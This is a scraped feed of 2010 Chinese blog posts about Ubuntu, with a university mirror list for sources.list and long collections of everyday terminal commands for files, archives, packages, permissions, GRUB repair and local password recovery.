CoMMands may be abbreviated, CoMMand are:
open connect to a site
close close currect connection
quit exit telnet
display display operating parameters
send transmit special characters (';send ?'; for more)
set set operating parameters(';set ?'; for more)
status print status information
toggle toggle operating parameters(';toggle ?'; for more)
mode try to enter line-by-line or character-at-a-time mode
? print help information
telnet:set escape ^b
escape character is ’^b’
porky/%logout
ns.bta.net.cn%
注意：set命令也可以退出命令模式。当然，如果不行，可以回车输入一空行，也能回到porky。
http://baike.baidu.com/view/44255.htm

Kevin_Zhang 2010-11-07 09:42 发表评论
]]>ubuntu 10.04 源http://www.cppblog.com/zzfmars/archive/2010/08/28/125091.htmlKevin_ZhangKevin_ZhangSat, 28 Aug 2010 15:01:00 GMThttp://www.cppblog.com/zzfmars/archive/2010/08/28/125091.htmlhttp://www.cppblog.com/zzfmars/comments/125091.htmlhttp://www.cppblog.com/zzfmars/archive/2010/08/28/125091.html#Feedback0http://www.cppblog.com/zzfmars/comments/commentRss/125091.htmlhttp://www.cppblog.com/zzfmars/services/trackbacks/125091.html 这是电子科技大学的源，教育网的速度还可以，比自带的源快了很多。
修改源的方法：
 在终端输入：sudo gedit /etc/apt/sources.list
然后再打开的源文件中将原来的源列表替换为下面的列表即可。 
deb http://ubuntu.dormforce.net/ubuntu/ lucid main restricted universe multiverse
deb http://ubuntu.dormforce.net/ubuntu/ lucid-backports main restricted universe multiverse
deb http://ubuntu.dormforce.net/ubuntu/ lucid-proposed main restricted universe multiverse
deb http://ubuntu.dormforce.net/ubuntu/ lucid-security main restricted universe multiverse
deb http://ubuntu.dormforce.net/ubuntu/ lucid-updates main restricted universe multiverse
deb-src http://ubuntu.dormforce.net/ubuntu/ lucid main restricted universe multiverse
deb-src http://ubuntu.dormforce.net/ubuntu/ lucid-backports main restricted universe multiverse
deb-src http://ubuntu.dormforce.net/ubuntu/ lucid-proposed main restricted universe multiverse
deb-src http://ubuntu.dormforce.net/ubuntu/ lucid-security main restricted universe multiverse
deb-src http://ubuntu.dormforce.net/ubuntu/ lucid-updates main restricted universe multiverse




Kevin_Zhang 2010-08-28 23:01 发表评论
]]>Ubuntu 安装http://www.cppblog.com/zzfmars/archive/2010/08/27/124975.htmlKevin_ZhangKevin_ZhangFri, 27 Aug 2010 14:15:00 GMThttp://www.cppblog.com/zzfmars/archive/2010/08/27/124975.htmlhttp://www.cppblog.com/zzfmars/comments/124975.htmlhttp://www.cppblog.com/zzfmars/archive/2010/08/27/124975.html#Feedback0http://www.cppblog.com/zzfmars/comments/commentRss/124975.htmlhttp://www.cppblog.com/zzfmars/services/trackbacks/124975.htmlhttp://bbs.cfanclub.net/read.php?tid-274934.html

Kevin_Zhang 2010-08-27 22:15 发表评论
]]>ubuntu常用命令集合http://www.cppblog.com/zzfmars/archive/2010/08/20/124047.htmlKevin_ZhangKevin_ZhangThu, 19 Aug 2010 18:32:00 GMThttp://www.cppblog.com/zzfmars/archive/2010/08/20/124047.htmlhttp://www.cppblog.com/zzfmars/comments/124047.htmlhttp://www.cppblog.com/zzfmars/archive/2010/08/20/124047.html#Feedback0http://www.cppblog.com/zzfmars/comments/commentRss/124047.htmlhttp://www.cppblog.com/zzfmars/services/trackbacks/124047.html

1.在终端中或者按alt+f2,在其中输入程序名称即可,如运行EVA,则只需 键入“eva”即可，无需附带路径。
(类似Windows下的运行),最基本的操作入口.
 2.添加程序快捷方式到菜单中
系统－首选项－主菜单－新建项目
填入命令（即程序名称,如要建立sopcast的快捷方式，则输入sopcast即可）

3.虚拟光驱部分

挂载ISO文件,sudo mount -o loop files.iso 目标文件夹（sudo在终端中暂时取得root权限）
卸载              sudo umount 挂载文件夹
  
如挂载 /home/dudu/XP.iso 到 /home/dudu/iso文件夹
         sudo mount -o loop /home/dudu/XP.iso /home/dudu/iso
or sudo mount -t iso9660 /home/dudu/XP.iso /home/dudu/iso（iso9660为指定文件格式）

卸载ISO文件 sudo umount /home/dudu/iso

.iso文件的建立
1.从文件夹建立，如将/home/dudu/ebooks/下的文件镜像为/home/dudu/ebooks.iso
(sudo) mkisofs -o /home/dudu/ebooks.iso /home/dudu/ebboks/
2.从光驱建立(光驱路径根据实际情况会有所不同)
sudo umount /media/cdrom0
(sudo) dd if=/media/cdrom0 of=/home/dudu/ebooks.iso bs=1024

文件烧录(也可使用k3b等程序烧录)
1.格式化盘片
      sudo umount /media/cdrom0
      (sudo) cdrecord dev=/media/cdrom0 blank=fast
2.烧录
命令行输入 nautilus burn:///
再打开新窗口，将文件拖入刻录窗口即可
  
4.进入目录 cd 目标文件夹
返回上一级目录 cd ..
cd ~ 或 cd 回当前用户的宿主目录
cd ~用户名回指定用户的宿主目录
cd - 回上一次所在的目录
  
5.新建文件夹，当然你也可以通过右键建立，如在/home/dudu下建名为iso的文件夹
sudo mkdir /home/dudu/iso
由于使用了sudo，此文件夹只有root才能改动

6.取得root权限
sudo su
or sudo -i
以root身份使用文件管理器,如我要在图形界面下删除上面建立的iso文件夹
sudo nautilus
  
密码修改(慎用)
root密码修改 sudo passwd root 然后二次输入密码

7.文件管理部分
文件备份（复制）,sudo cp
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup
（备份/etc/samba/smb.comf到/etc/samba/下，命名为smb.conf_backup）  
移动 mv 格式同cp
删除 rm filename
ls -a 列出当前目录下的所有文件，包括以.头的隐含文件
ls -l或ll 列出当前目录下文件的详细信息

链接（和WIN下快捷方式差不多），摘自《鸟哥私房菜》
ln 源文件链接名 创建当前目录源文件的硬链接
ln /home/test /usr/test1 在/usr下建立/home/test的硬链接
ln -s a b 创建当前目录下a的符号链接b
－s参数形成symbolic链接，相当于快捷方式.此外，如果你做了底下这样的连结：
ln –s /bin /root/bin
那 么如果你进入 /root/bin 这个目录下，（请注意呦！该目录其实是 /bin 这个目录，因为你做了连结档了！）所以，如果你进入 /root/bin 这个刚刚建立的连结目录，并且将其中的数据杀掉时，嗯！ /bin 里面的数据就通通不见了！这点请千万注意！并不是 /root 底下的资料都是 root 的！还需要注意一下该属性才行


8.ADSL
开始设置sudo pppoeconf ，然后一路enter，填上用户名和密码就OK了
手工断线 sudo poff
手工连接 sudo pon dsl-provider
查看连接日志     plog
查看连接详情 ifconfig
有线网络内有漫游和DHCP两种模式，漫游就是让它自动寻找可用连接，一般使用DHCP
ping命令使用 ping ip/网址 -c 要ping的次数 (网址前无http://)

9.samba的一些设置(与XP互联时)
工作组设置
1.文件备份 sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup
2.打开编辑器 sudo gedit /etc/samba/smb.conf
找到     workgroup=MSHOME, 用     workgroup=new_domian_or_workgroup 替换,保存关闭
3. sudo testparm
4.重启samba sudo /etc/init.d/samba restart

10.软件安装方式
1.新立德安装
2. .deb包安装双击即可，也可到终端安装，如安装/home/dudu/file.debsu
   安装 sudo dpkg -i /home/dudu/file.deb
   卸载 sudo dpkg -r file（此处直接填写程序名称，即菜单里的名称）
   重新配置或修复 sudo dpkg-reconfigure file
3.gz压缩包编译安装，如安装/home/dudu/text.tar.gz
1.解压缩 tar zxvf /home/dudu/text.tar.gz (默认解压到当前用户主目录下)
   然后转到解压后文件夹中 cd /home/dudu/text

（若文件夹中存在*.pl，*.sh文件，则sudo ./*.pl or ./*.sh即可完成安装，以下是编译安装）

2.执行./configure (./configure --prefix=路径，即可装入指定目录)
3.执行make，如果没问题
4.执行make install
4.rpm包
1.安装alien
   sudo apt-get install alien
2.通过alien安装rpm包
   alien -d package-name.rpm
5..bin文件安装
   chmod +x filename.bin (取得权限)
   ./filename.bin

11.压缩文件部分
1.zip格式
1.添加压缩文件夹 /home/dudu/zip 为/home/dudu/winrar.zip
zip /home/dudu/winrar.zip zip
注:zip 文件夹和winrar.zip均在../dudu下（即主目录，压缩文件可添加到任何路径，但是源文件需在../dudu下，可以是文件也可以是文件夹， 否则压缩文件解压后会是从/home/dudu/........./zip，即为从新建的home文件夹开始的多个包含文件夹，如zip /home/dudu/winrar.zip /home/dudu/zip/则在../dudu下生成home文件夹，里面包含dudu和zip两个文件夹）
zip -m /home/dudu/winrar zip压缩，并自动删除原始文件zip
zip -r 压缩，包含子目录中的内容
zip -j 压缩，忽略子目录中的内容
zip -1 压缩，压缩率为1
2.解压缩
unzip /home/dudu/winrar.zip 解压到当前文件夹

2.tar与gzip
   说明：tar无法对文件进行压缩，但可以把文件打包。而gzip虽然可以压缩文件，却不能把文件打包。所以我们经常把两个命令结合使用，产生.tar.gz的文件。一般压缩流程是先用tar打包，再用gzip压缩文件。
   # tar cvf test.tar * 把当前目录(*)下的文件打包，若有链接文件，直接将链接写入
   # tar zcvf test.tar.gz * 把当前目录(*)下的文件打包并压缩为gz格式
   # tar jcvf test.tar.bz2 * 把当前目录下的文件打包并压缩为bz2格式
   # tar hcvf test.tar * 把当前目录下的文件打包，若有链接文件，直接将原始文件写入

   # tar xvf test.tar 把test.tar解包
   # tar zxvf test.tar.gz 把test.tar.gz解压缩并解包

   gzip 压缩文件
   # gzip file1 压缩file1，并删除原始文件，这点务必要注意
   # gzip -1 * 压缩本目录所有文件，压缩率为1-9，9最高，默认6
   # gzip -d file1.gz 解压file1.gz文件
   gunzip 解压文件
   # gunzip file1.gz 解压file1.gz文件

12.可移动介质无法打开问题解决，重启DBUS,也可用来解决开机出现"failde to initialize HAL" bug
sudo /etc/init.d/dbus restart

13.Mplayer无法播放rmvb,rm(参见wiki)
首先确定安装了w32codecs,打开Mplayer界面上右击 - perferences - video - x11/vx

14.在桌面显示我的电脑等图标
gconf-editor
在/apps/nautilus/desktop/分支下选择相应项目

15.sudo apt-get install lunar-applet
添加农历日期

16.进程管理,也可通过系统－系统管理－系统监视器进行管理
ps -A查看进程
kill -9 进程号，终止进程
强行结束终端中运行的操作，如想终止Wget等等.
ctrl+c

17.开关机的一些操作
ctrl+alt+backspace 登出桌面
sudo shutdown now -h     关机
sudo reboot              重启
ctrl+alt+F1              进入控制台（全字符界面）

18.解决主菜单及应用程序菜单无法打开(安装wine后可能会出现这个问题)
gmenu-simple-editor 然后选择默认值

19.启动服务管理,同XP的msconfig设置开机自启动项
sudo sysv-rc-conf

20.opera 无法输入中文
先安装QT
sudo apt-get install scim-qtimm ,同样适用于EVA
1.将opera中切换到主页的快捷方式删除
2.sudo gedit /usr/bin/opera
第二行添加
export QT_IM_MODULE="scim" （去掉双引号也可）

21.通过sudo apt-get方式安装软件时下载的包默认保存目录
/var/cache/apt/archives

22.文件权限
chmod chmod u+s file 为file的属主加上特殊权限
chmod g+r file 为file的属组加上读权限
chmod o+w file 为file的其它用户加上写权限
chmod a-x file 为file的所有用户减去执行权限
chmod 765 file 为file的属主设为完全权限，属组设成读写权，其它用户具有读

chown chown root /home 把/home的属主改成root用户
chgrp chgrp root /home 把/home的属组改成root组

23.磁盘部分
1.挂载FAT # mount –t vfat /dev/hda5 /mnt/cdrom 挂第一个ide的第五个逻辑分区
2.df 用于报告文件系统的总容量，使用量，剩余容量。
3.du -b /home 查看目前/HOME目录的容量(k)及子目录的容量(k)。
4. fdisk -l 查看系统分区信息
5. fdisk /dev/sdb 为一块新的SCSI硬盘进行分区

24.修复Grub
1.用Live cd引导进入终端
2.sudo grub                        
   find /boot/grub/stage1
   (若/boot单独分出，则用/grub/stage1替换,stage1也可用menu.lst替换)
root (hdX,Y)
   setup (hdX)
   quit
   (注意：其中X，Y是输入find后出现的提示)

25.glxinfo|grep "direct rendering" 查看显卡3D加速是否打开

26./etc/init.d/halt 关机设置的配置文件，可以更改硬盘掉电时间等

27.密码重置
1.开机
2.在grub启动列表中按ESC
3.按 e 来修改平时启动的那个选项
4.在kernel***那一行再按 e
5.在最后面加上 rw init=/bin/bash
6.按确定
7.按 b 来启动
此时是你在使用root用户，所以要小心不要乱按其他命令，除非你知道你在干什么。
8.用 passwd <用户名> 来重设你的密码
9.重启 shutdown -r now

28.sudo dpkg-reconfigure xserver-xorg 重调分辨率

29.更改登录是的黄色背景
sudo gedit /etc/gdm/PreSession/Default
找到
# Default value
if [ "x$BACKCOLOR" = "x" ]; then
   BACKCOLOR="#dab082"
fi
#dab082 就是颜色 可以随便改。
附:Linux常用命令全集
WEB版:    http://linux.chinaitlab.com/special/linuxcom/Index.html



Kevin_Zhang 2010-08-20 02:32 发表评论
]]> ubuntu 终端命令集 2http://www.cppblog.com/zzfmars/archive/2010/08/20/124046.htmlKevin_ZhangKevin_ZhangThu, 19 Aug 2010 18:30:00 GMThttp://www.cppblog.com/zzfmars/archive/2010/08/20/124046.htmlhttp://www.cppblog.com/zzfmars/comments/124046.htmlhttp://www.cppblog.com/zzfmars/archive/2010/08/20/124046.html#Feedback0http://www.cppblog.com/zzfmars/comments/commentRss/124046.htmlhttp://www.cppblog.com/zzfmars/services/trackbacks/124046.html整个电脑都划成ubuntu用。
装软件时的一个明显感觉就是很多事情，用终端的命令行去做很容易，用图形界面往往很复杂，而且很多时候还会出现权限的问题，对于ubuntu的用户权限，现在的唯一感觉就是权限在ubuntu里很重要，很多操作都对应着相应的权限
现在把常用的一些命令在这里集中一下，这样以后自己用着也方便一点，不用再开好几个页面看来看去了：

以下均为网上搜集，非原创...........

sudo:需要提升权限执行的命令

  • 如果您所在的目录或想操作的文件不在您的帐户所在的目录，下面的大多数命令都需要使用 sudo 命令。这是一个特殊的命令，它给你临时的权限来修改系统设置。终端会询问你的密码。

文件 & 目录类命令

  • pwd ：pwd 命令查看您当前所处的路径（pwd 代表 "打印当前工作目录"）。例如：在桌面文件夹中执行 "pwd" 命令将输出 "~/Desktop"。注意，Gnome 的终端在窗口标题中也会显示这一信息-具体请看本页顶部的截屏图片。
  • cd ：cd 命令用来改变当前工作目录。当您打开一个终端的时候，您就位于您的home目录中。如果想要切换到其它的目录，就要用 cd 命令。例如：
  • 进入root目录，输入 "cd /"
  • 进入到您自己的目录（home目录），输入 "cd"
  • 进入当前目录的上一层目录，输入 "cd .." (译者注：cd 与 .. 之间有空格)
  • 进入前一个操作的目录，输入 "cd -"
  • 一次进入多层目录，输入 "cd /var/www" ,将会直接切换到/var的子目录/www中。另一个例子， "cd ~/Desktop" 将会进入到您的桌面目录
  • cp ：cp 命令用来复制文件。例如："cp file foo" 命令将会创建一个"file"的精确的副本，并命名为"foo",而 "file"不会有任何变化。如果是复制目录，那就得用"cp -r directory foo" （递归地复制）。
  • mv ：mv 命令将文件移动到另一个位置或者给文件更名。看下面的例子："mv file foo" 命令会将文件"file"更名为"foo"。"mv foo ~/Desktop" 会将文件"foo"移动到桌面目录，但不会更名。如果想更名，你必须要指定一个新的名字。
  • 为了输入方便，您可以用 '~' 符号来代替您的home目录。
  • 如果在用mv命令的时候前面加上了sudo，那么“~“这个符号将可以正常使用，终端会把他替换成你自己（普通用户）的home目录。而如果你用 ”sudo -i“或者”sudo -s“打开了一个root用户的终端，那么这时”~“将指代root用户的home目录，而非你自己的。
  • rm ：这个命令用来移动或删除文件。对于非空的目录，用这个命令不能删除。
  • rmdir ：命令rmdir 用来删除“空”目录。要删除目录和其中的所有内容，则需使用rm -r 。
  • mkdir ：mkdir 命令用来创建目录。例如："mkdir music" 将会创建一个 music 目录。
  • man ：man 命令用来显示其它命令的手册页。执行 "man man" 可以查看到 man自己的信息。通过 "Man & Getting Help"能够分页显示更多的信息。
  • Linux/Ubuntu tar命令详解使用格式和方法

    格式： tar 选项 文件目录列表
    功能： 对文件目录进行打包备份
    选项：
    -c 建立新的归档文件
    -r 向归档文件末尾追加文件
    -x 从归档文件中解出文件
    -O 将文件解开到标准输出
    -v 处理过程中输出相关信息
    -f 对普通文件操作
    -z 调用gzip来压缩归档文件，与-x联用时调用gzip完成解压缩
    -Z 调用compress来压缩归档文件，与-x联用时调用compress完成解压缩

    例如：

    1.将当前目录下所有.txt文件打包并压缩归档到文件this.tar.gz，我们可以使用

    tar czvf this.tar.gz ./*.txt

    2.将当前目录下的this.tar.gz中的文件解压到当前目录我们可以使用

    tar xzvf this.tar.gz ./

系统信息类命令

  • df ：df 命令用来查看各个文件系统当前的空间使用状况。"df -h" 可能是最有用的选项了-它以M和G为单位输出，而不是以块为单位。(-h 的含义是“便于阅读”)
  • du ：du 命令可以显示某一个目录使用了多少磁盘空间。它可以显示该目录中的各个子目录分别使用了多少空间，也可以显示当前目录一共占了多少空间。
  • -s 代表”概况、总览“，-h 则代表”易于人阅读“。
  • free ：free 命令用来查看系统中使用和剩馀的内存情况。"free -m" 将结果以M为单位输出，这对现在的计算机来说非常有用。
  • top ：top 命令用来查看linux系统的信息，运行着的进程和系统资源，包括 CPU、内存以及交换分区使用情况和运行着的任务的总的数量。退出 top ，按"q" 。
  • uname -a ：uname 命令的 -a 参数用来查看系统的所有信息，包括 机器名，内核名称 & 版本 和一些其它的细节。它最大的用处是用来查看当前所用内核的信息。
  • lsb_release -a ：lsb_release 命令的-a 参数查看当前运行的linux的版本信息
  • ifconfig 显示当前系统的网络接口信息。

    添加新用户

  • "adduser newuser" 命令用来创建一个用户名为"newuser"的新用户，为新用户 newuser 创建一个密码，使用如下命令"passwd newuser" 。

选项

命令的默认操作常常会被指定一个确定的 --参数 所修改。例如ls 命令有一个-s 参数，因此 "ls -s" 就会额外的显示出文件的大小。它也有一个 -h 参数，将文件的大小以很好的可读性的格式输出。参数可以以簇聚合,比如 "ls -sh" 和"ls -s -h" 的效果相同。大多数的参数都很长，两个破折号前缀代表一个参数，所以"ls --size --human-readable" 也和上面得命令相同。

 'Man' 和 获得帮助

man command , info command and command --help 是命令行下面最重要的工具。

在linux下面，几乎每一个命令和每一个应用程序都会有一个man(manual)文件，所以只要简单的键入"man "command"" 就能看到这个命令的手册页。例如，"man mv" 会打开mv (Move) 的手册页。

利用键盘上的方向键移动手册页面，用"q" 退出。

"man man" 会查看man 命令的手册页，这里是一个很好的开始！

"man intro" 也非常有用 －它能够查看 "用户命令介绍"，写的非常好！是一份很简介的linux命令的介绍。

还有一个就是info 命令了，它通常比man 还深入。输入"info info" 命令可得到info页的介绍。

一些软件开发人员喜欢用 info 而不是 man （例如Debian和GNU开发人员）。所以，如果你发现一个很常见的命令或者程序没有 man 页面，那么就试试 info 页面。

几乎所有的命令都能接受一个-h (或 --help )选项，能够输出命令的简要的描述和参数，然后自动退回命令提示符。可以输入"man -h" 或"man --help" 查看。

警告：一些软件不认为 -h 选项代表帮助，虽然少但是存在这种情况。这时候可以先试试 man 或者 info 页面，以及使用较长的选项 --help 。

搜索man文档

如果您不确定用哪个命令或程序，您可以试试搜索man 文件。

  • man -k foo 会搜索关于foo的man文件。试试看"man -k nautilus" 是怎样的。
  • 注意：这同apropos 命令是一样的。
  • man -f foo 仅仅搜所系统man文件的标题。试试"man -f gnome" 。
  • 这个同 whatis 命令是相同的。

    节省输入

    Up Arrow or ctrl+p
    		滚动显示你之前输入的命令.（译者注，与msdos相似）
    Down Arrow or ctrl+n
    		回到较近的命令.（与up arrow相反，反方向滚动）
    Enter
    		找到你要的命令时按回车确认
    tab
    		一个非常有用的功能。如果只有一个选项，则自动补全命令或文件名；否则给出所有选项的列表。
    ctrl+r
    		搜索你已经输入的命令.当你已经输入了一条很长很复杂的命令并且要重复它时, 使用这个按键组合，然后输入命令的一部分将会从你的集合历史中搜索. 找到它后，只要轻轻按下回车
    更改字体

    不能用鼠标。你可以容左/方向键来移动。当游标在你想让它在的地方时，输入 inserts text - ie 它不会改写那儿的文字。

    ctrl+a or Home
    		移动游标到行首.
    ctrl+e or End
    		移动游标到行尾.
    ctrl+b
    		移动游标到上一个或当前单词的前面.
    ctrl+k
    		删除从当前游标到行尾的文字.
    ctrl+u
    		删除当前整行.
    ctrl+w
    		删除游标前的单词.


Kevin_Zhang 2010-08-20 02:30 发表评论
]]>